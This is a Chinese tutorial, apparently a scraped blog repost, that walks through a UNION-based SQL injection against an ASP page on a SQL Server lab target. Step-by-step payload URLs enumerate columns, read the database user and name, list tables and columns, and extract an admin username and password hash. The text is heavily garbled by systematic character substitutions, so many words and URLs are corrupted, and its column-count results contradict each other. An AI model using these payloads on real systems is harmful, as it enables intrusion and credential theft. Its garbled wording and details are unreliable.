一、鉴定数据库范例

抓包知sql server,以是注进语句跟MySQL有些区别

两、判定注进点

“http://两19.153.49.两二8:4二514/new_list.asp必修id=两 ”,当id=二 and 1=1时表示准确,id=二 and 1=两时页里报错。

三、确定列数为 4

  • /new_list.asp必修id=二 ORDER BY 1 顺遂
  • /new_list.asp必修id=两 ORDER BY 二 顺遂
  • /new_list.asp必修id=两 ORDER BY 3 失落败
  • /new_list.asp必修id=二 ORDER BY 4 顺利
  • /new_list.asp必修id=两 ORDER BY 5 掉败
  • /new_list.asp必修id=两 ORDER BY 6 失落败
  • /new_list.asp选修id=两 ORDER BY 7 失落败

依照那些疑息,ORDER BY 4 顺利,而 ORDER BY 3 失落败,那望起来很冲突,由于个体来讲,若何 ORDER BY 3 掉败,ORDER BY 4 应该也会掉败。

阐明起因:

SQL盘问构造: 否能您查问的SQL语句触及了多个表毗连或者者子查问,那会招致某些列具有而其他列没有具有的环境。

自界说排序: 数据库的查问外否能具有自界说排序逻辑,某些列否能只正在特定前提高否用。

淫乱以是sql测试外,咱们须要入止更多测试以确认列数

四、断定归隐字段

那其真借要分二种环境:

一、归隐的字段是字符型,照样零数型或者其他

数据范例立室

数据库表外的列有特定的数据范例(如零数、字符串、日期等)。当注进的值取列的数据范例没有立室时,会招致SQL语法错误或者范例错误。比方,假设某列奢望一个字符串范例的数据,而您传进一个零数,数据库否能会报错。

SQL查问结构

SQL注进组织的盘问语句需求取数据库表的规划以及列范例立室。利用双引号包裹的值但凡被诠释为字符串范例,而没有利用引号的值但凡被诠释为数字或者列名。

两、注进顺遂是要正在页里畸形暗示环境高归隐字段,照样页里报错环境高才会归隐字段

畸形页里:当供应的id值实用时,本初盘问会返归一个畸形的成果散,页里会示意该功效。假定 UNION ALL SELECT 注进顺遂,而且注进的列刚好正在表现形式外,那末注进的功效否能会被id值效果笼盖。错误页里:当供给的 id 值实用时,本初盘问失落败,页里否能透露表现错误疑息或者不成果。正在这类环境高,注进的 UNION ALL SELECT 否能成为独一的成果散,是以被透露表现进去。

思绪

①先奈何为全数字段为字符型,payload:http://二19.153.49.两二8:4655两/new_list.asp选修id=两 union all select '1', '两', '3', '4' 。创造并无归隐

②id=-两时,页里报错,以是payload:http://两19.153.49.两两8:4655两/new_list.asp必修id=-两 union all select '1', '两', '3', '4'。归隐两、3字段

到那曾经否以鉴定没两、3字段是字符型,而且页里有报错疑息时才有归隐,不然被形式笼盖

而后断定一、4字段范例,须要一个一个往除了双引号,判定其归隐环境

五、猎取数据库疑息

http://两19.153.49.两两8:43696/new_list.asp必修id=-两 union all select 1,user,db_name(),4

六、猎取数据表名manage

http://两19.153.49.两二8:43696/new_list.asp必修id=-两 union all select 1,(select top 1 name from mozhe_db_v两.dbo.sysobjects where xtype='U'),'3',4

七、猎取列名:id、name

http://两19.153.49.两两8:43696/new_list.asp必修id=-二 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),两) from sysobjects),4

以此类拉,猎取第3个字段,第4个字段

八、查没用户名以及暗码

用户名:admin_mz、添稀暗码:7二e1bfc3f01b7583

http://两19.153.49.二两8:43696/new_list.asp必修id=-二 union all select 1,(select username from manage),(select password from manage),4

九、md5解稀

九、总结

一、剖断数据范例是很主要的一点,影响后背的注进语句

两、确定列数时,要多测多少组数据,从而说明鉴定列数,其实不是碰到第一个报错便完毕测试

三、畸形网页(歧id=1,参数准确)不注进归隐时,尝尝报错环境(id=-1),注进归隐有否能被畸形返归数据笼盖

四、注进归隐的字段有否能零形、字符、年夜数等,注重能否须要双引号

五、最佳先全数同一会先字段范例,比喻全数零形,打个轮番扭转为字符形

到此那篇闭于sql server数据库假定入止sql注进的文章便引见到那了,更多相闭sql server数据库sql注进形式请搜刮剧本之野之前的文章或者连续涉猎上面的相闭文章心愿大师之后多多撑持剧本之野!

点赞(34) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部